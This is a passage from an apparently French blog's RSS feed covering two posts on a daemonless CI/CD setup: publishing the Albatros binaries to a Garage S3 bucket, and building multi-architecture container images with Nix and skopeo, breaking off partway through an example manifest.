&lt;p&gt;Dans &lt;em&gt;resources&lt;/em&gt;, on va lister tous les fichiers qu’on stocke pour une &lt;em&gt;flavor&lt;/em&gt; donnée. Aujourd’hui on a que le &lt;em&gt;path&lt;/em&gt; d’enregistré pour chaque fichier, mais on pourrait avoir plus tard un rôle, par exemple pour différencier le binaire de son checksum, ou encore des symboles de debug. L’interface pourrait alors adapter son affichage. On pourrait aussi stocker la taille et plein d’autres infos.&lt;/p&gt;

&lt;p&gt;À partir de toutes ces infos, on peut aussi reconstruire le chemin du blob qu’on cherche. Normalement on a tout ce qu’il faut.&lt;/p&gt;

&lt;h2 id=&quot;mise-en-place-manuelle-pour-albatros&quot;&gt;Mise en place manuelle pour Albatros&lt;/h2&gt;

&lt;p&gt;On va commencer par compiler nos différents binaires :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;nix build .#packages.x86_64-linux.albatros &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;df&lt;/span&gt;/linux/amd64/albatros
nix build .#packages.i686-linux.albatros &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;df&lt;/span&gt;/linux/386/albatros
nix build .#packages.aarch64-linux.albatros &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;df&lt;/span&gt;/linux/arm64/albatros
nix build .#packages.armv6l-linux.albatros &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;df&lt;/span&gt;/linux/arm/albatros
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Les envoyer :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;aws s3 &lt;span class=&quot;nb&quot;&gt;sync df&lt;/span&gt;/ s3://download.deuxfleurs.org/df-dist-v1/albatros/0.9/
curl &lt;span class=&quot;nt&quot;&gt;-I&lt;/span&gt; https://download.deuxfleurs.org/df-dist-v1/albatros/0.9/linux/amd64/albatros
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Envoyer le manifest préalablement écrit à la main :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;aws s3 &lt;span class=&quot;nb&quot;&gt;cp&lt;/span&gt; /tmp/flavor.json s3://download.deuxfleurs.org/df-dist-v1/albatros/0.9
curl https://download.deuxfleurs.org/df-dist-v1/albatros/0.9
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Et enfin notre liste de tags :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;aws s3 &lt;span class=&quot;nb&quot;&gt;cp&lt;/span&gt; /tmp/list.json s3://download.deuxfleurs.org/df-dist-v1/albatros
curl https://download.deuxfleurs.org/df-dist-v1/albatros
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;On peut valider que tout ça fonctionne bien depuis un navigateur, il faut commencer par les CORS :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;export &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;CORS&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;{&quot;CORSRules&quot;:[{&quot;AllowedHeaders&quot;:[&quot;*&quot;],&quot;AllowedMethods&quot;:[&quot;GET&quot;],&quot;AllowedOrigins&quot;:[&quot;*&quot;]}]}&apos;&lt;/span&gt;
aws s3api put-bucket-cors &lt;span class=&quot;nt&quot;&gt;--bucket&lt;/span&gt; download.deuxfleurs.org &lt;span class=&quot;nt&quot;&gt;--cors-configuration&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$CORS&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Ensuite on peut coder ces quelques fonctions utilitaires, une fois qu’on a choisi notre tag :&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;release_info&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;async &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;res&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;fetch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;https://download.deuxfleurs.org/df-dist-v1/albatros/0.9&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;blob&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;res&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;blob&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;txt&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;reader&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;blob&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;info&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;JSON&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;parse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;txt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;info&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;get_links&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;manifest&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;manifest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;flavors&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;f&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;s2&quot;&gt;`https://download.deuxfleurs.org/df-dist-v1/albatros/0.9/&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;platform&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;platform&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;architecture&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;resources&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;`&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// https://download.deuxfleurs.org/df-dist-v1/albatros/0.9/linux/amd64/albatros&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// ...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Tout fonctionne comme prévu !&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;On a vu comment gérer nos index à la fois pour notre registre de conteneur et notre diffusion de binaires statiques. On a aussi vu comment manipuler ces index depuis un navigateur afin de créer une page de téléchargement sur un site web. Cette fois-ci c’est la bonne, la prochaine étape on voit comment automatiser tout ça.&lt;/p&gt;

</description>
        <pubDate>Wed, 12 Apr 2023 12:06:46 +0200</pubDate>
        <link>https://quentin.dufour.io/blog/2023-04-12/un-outil-sans-daemon-pour-g%C3%A9rer-ses-artefacts-de-build/</link>
        <guid isPermaLink="true">https://quentin.dufour.io/blog/2023-04-12/un-outil-sans-daemon-pour-g%C3%A9rer-ses-artefacts-de-build/</guid>
      </item>
    
    
    
      <item>
        <title>Construire et publier des conteneurs sans daemon Docker</title>
        
        <description>&lt;p&gt;J’ai pas mal travaillé sur la CI/CD de &lt;a href=&quot;https://garagehq.deuxfleurs.fr/&quot;&gt;Garage&lt;/a&gt;, et force est de constater qu’on a rencontré un nombre incroyable de problèmes. Entre autre, on a noté que les builds Rust sans cache sont trop lents par rapport à nos attentes, qu’il n’y avait pas de solution légère pour gérer les artefacts binaires et enfin que construire un conteneur quand on a un CI/CD à base de Docker, ça n’était pas possible car on n’avait pas accès au daemon docker ni la possibilité de faire du “docker in docker” de manière à peu près sécurisée.&lt;/p&gt;

&lt;p&gt;Si la question du cache et des artefacts binaires est passionnante, nous allons la garder pour un autre billet de blog, et nous focaliser sur &lt;strong&gt;comment construire des conteneurs légers, multi-plateforme et les publier&lt;/strong&gt; dans ce billet. Si vous ne voyez pas ce que j’entends par registre statique, allez donc &lt;a href=&quot;https://quentin.dufour.io/blog/2023-04-06/un-registre-statique-docker-avec-garage/&quot;&gt;jeter un coup d’oeil à mon précédent billet !&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Alors maintenant qu’on a notre périmètre, décortiquons le:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;léger&lt;/strong&gt; : c’est à dire qui embarque le strict minimum. Bien souvent, on peut se contenter d’un binaire statique.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;multi-plateforme :&lt;/strong&gt; un seul tag d’image permettra à des gens sur ARM comme sur X86_64 d’utiliser votre logiciel&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;publier&lt;/strong&gt; : on publier les conteneurs sur un registre, ici nous verrons comment faire sur le docker hub mais aussi sur notre registre statique à base de Garage&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;À noter qu’il y a un dernier point qui ne sera pas abordé dans ce billet qui sera sans aucun doute beaucoup trop long de toute manière, c’est comment gérer la garbage collection de nos artifacts.&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;une-build-file-avec-nix-flake&quot;&gt;Une build file avec Nix Flake&lt;/h2&gt;

&lt;p&gt;Pour ce billet, on va prendre comme un exemple un programme en go que j’ai écrit, Albatros, ma propre CI/CD (ça devient déjà meta). L’avantage de prendre comme exemple un programme en Go, c’est que ça se cross compile facilement. Voilà un extrait du fichier &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;flake.nix&lt;/code&gt; de notre projet :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# declare the go module of this package, allow for cross compilation
gopkg = arch: (pkgs.buildGoModule rec {
  pname = &quot;albatros-go-module&quot;;
  version = &quot;0.9&quot;;
  CGO_ENABLED = 0;
  # ... skip
}).overrideAttrs (old: old // { GOOS = &quot;linux&quot;; GOARCH = arch; });

# logic to build static binaries
albatrosStaticBin = #... extract the binary from gopkg (skipped here)

# logic to build docker containers
docker = (staticBin: arch: pkgs.dockerTools.buildImage {
  name = &quot;dxflrs/albatros&quot;;
  architecture = arch;
  config = {
    Cmd = [ &quot;${staticBin}&quot; ];
  };
});

# map nixos/llvm arch to golang arch
archmap = {
  &quot;aarch64-linux&quot; = &quot;arm64&quot;;
  &quot;x86_64-linux&quot; = &quot;amd64&quot;;
  &quot;i686-linux&quot; = &quot;386&quot;;
  &quot;armv6l-linux&quot; = &quot;arm&quot;;
};

# generate packages for each architecture
packages = builtins.mapAttrs (name: value: {
  docker.albatros = (docker (albatrosStaticBin value) value);
  # other targets (skipped)...
}) archmap;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;em&gt;On peut consulter le fichier en entier&lt;/em&gt; &lt;a href=&quot;https://git.deuxfleurs.fr/quentin/albatros/src/commit/d9facbb79c4551d90359c46b9f5d485c1503253a/flake.nix&quot;&gt;&lt;em&gt;sur la forge&lt;/em&gt;&lt;/a&gt; &lt;em&gt;d’Albatros&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;Ce fichier est relativement simple à lire une fois qu’on sait comment l’aborder.&lt;/p&gt;

&lt;p&gt;En fait on construit par rafinement successif. Le premier bloc consiste en une fonction qui permet de compiler un module Go à partir de la recette fournie par la bibliothèque standard NixOS. Je dis bien une fonction, car ce bloc prend en paramètre &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;arch&lt;/code&gt; qui contient l’architecture cible de notre module. Ainsi, si on lui passe &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;arm64&lt;/code&gt; on aura un binaire qui fonctionne sur les processeurs ARM 64 bits, si on passe &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;386&lt;/code&gt;, on aura un binaire pour les vieux PC x86 32 bits, etc.&lt;/p&gt;

&lt;p&gt;Dans les blocs suivants, on raffine donc ce premier module. On va d’abord avoir une fonction qui va extraire le binaire statique du module généré par Go, ensuite une fonction Docker qui va mettre ce binaire statique dans un conteneur.&lt;/p&gt;

&lt;p&gt;Enfin, une fois notre logique définie, on va déclarer quelles architectures on choisit de supporter, là j’en ai choisi 4. On va donc faire une boucle (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mapAttrs&lt;/code&gt;) pour générer le conteneur Docker qui va bien pour chaque architecture.&lt;/p&gt;

&lt;h2 id=&quot;créer-les-artefacts-avec-nix-build&quot;&gt;Créer les artefacts avec nix build&lt;/h2&gt;

&lt;p&gt;On peut ensuite créer nos différentes archives Docker, en précisant le chemin de sortie pour s’y retrouver :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;nix build .#packages.x86_64-linux.docker.albatros &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; albatros.amd64.tar.gz
nix build .#packages.armv6l-linux.docker.albatros &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; albatros.arm.tar.gz
nix build .#packages.aarch64-linux.docker.albatros &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; albatros.arm64.tar.gz
nix build .#packages.i686-linux.docker.albatros &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; albatros.386.tar.gz
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;construire-notre-image-multi-arch&quot;&gt;Construire notre image multi-arch&lt;/h2&gt;

&lt;p&gt;Dans le monde des conteneurs, une image multiarch est juste une indirection, un fichier qui contient une liste de manifest avec des tags pour leur OS et leur architecture. Il faut donc créer un fichier qui liste le manifest de chacune de nos 4 images.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Problème : aujourd’hui il n’y a pas vraiment d’outils clé en main. Typiquement,&lt;/em&gt; &lt;a href=&quot;https://github.com/containers/skopeo/issues/1136&quot;&gt;&lt;em&gt;une issue sur skopeo&lt;/em&gt;&lt;/a&gt; &lt;em&gt;traine depuis 3 ans maintenant (2020) sans qu’elle n’ait jamais été résolue. On va essayer de bidouiller un truc de notre côté.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;On va extraire chacun de ces fichiers sous forme de dossier avec skopeo.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Il y a deux façons de représenter des images de conteneur sous forme de dossier avec skopeo : via le transport&lt;/em&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_dir_&lt;/code&gt; &lt;em&gt;et le transport&lt;/em&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_oci_&lt;/code&gt;&lt;em&gt;. Le premier est un format interne non spécifié à skopeo. Le second est standardisé et a donc&lt;/em&gt; &lt;a href=&quot;https://github.com/opencontainers/image-spec/blob/main/image-layout.md&quot;&gt;&lt;em&gt;une spécification en bonne et due forme&lt;/em&gt;&lt;/a&gt;&lt;em&gt;. Nous, on va préférer utiliser un standard pour éviter les mauvaises surprises à l’avenir (changement de format, abandon du support, interopérabilité, etc.).&lt;/em&gt;&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;mkdir&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; /tmp/oci
skopeo &lt;span class=&quot;nt&quot;&gt;--insecure-policy&lt;/span&gt; copy docker-archive:albatros.amd64.tar.gz oci:/tmp/oci/amd64
skopeo &lt;span class=&quot;nt&quot;&gt;--insecure-policy&lt;/span&gt; copy docker-archive:albatros.arm64.tar.gz oci:/tmp/oci/arm64
skopeo &lt;span class=&quot;nt&quot;&gt;--insecure-policy&lt;/span&gt; copy docker-archive:albatros.arm.tar.gz oci:/tmp/oci/arm
skopeo &lt;span class=&quot;nt&quot;&gt;--insecure-policy&lt;/span&gt; copy docker-archive:albatros.386.tar.gz oci:/tmp/oci/386
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;On va ensuite construire à la main le dossier multiarch :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;mkdir&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; /tmp/oci/multi

&lt;span class=&quot;c&quot;&gt;# on copie juste le fichier qui déclare la version de la spec &quot;directory&quot; de OCI&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;cp&lt;/span&gt; /tmp/oci/amd64/oci-layout /tmp/oci/multi/

&lt;span class=&quot;c&quot;&gt;# on copie les blobs&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;mkdir&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; /tmp/oci/multi/blobs/sha256/
&lt;span class=&quot;nb&quot;&gt;cp&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-r&lt;/span&gt; /tmp/oci/&lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;386,arm,arm64,amd64&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;/blobs/sha256/&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt; /tmp/oci/multi/blobs/sha256/
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Maintenant il ne nous reste plus qu’à créer un manifeste depuis les informations qu’on a collecté ! Pour se faire, deux choix : soit on copie, soit on va voir la spec.&lt;/p&gt;

&lt;p&gt;Pour copier, on peut aller zyeuter du côté d’une image officielle de Docker, comme celle de redis par exemple :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;docker manifest inspect redis:latest
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Ce qui nous donne :&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
   &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;schemaVersion&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
   &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;mediaType&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;application/vnd.docker.distribution.manifest.list.v2+json&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
   &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;manifests&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
         &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;mediaType&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;application/vnd.docker.distribution.manifest.v2+json&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
         &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;size&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1573&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
         &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;digest&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;sha256:94a25c195c764f7962087eda247471989797001c222f079d5d4dbb1c34cc4854&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
         &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;platform&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;architecture&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;amd64&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;linux&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;
         &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
         &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;mediaType&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;application/vnd.docker.distribution.manifest.v2+json&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
         &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;size&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1573&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
         &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;digest&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;sha256:8c6ff1f41fa800338843b4f6e1783faa1d3db95ac2c9e2ef2255ae01098349c8&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
         &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;platform&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
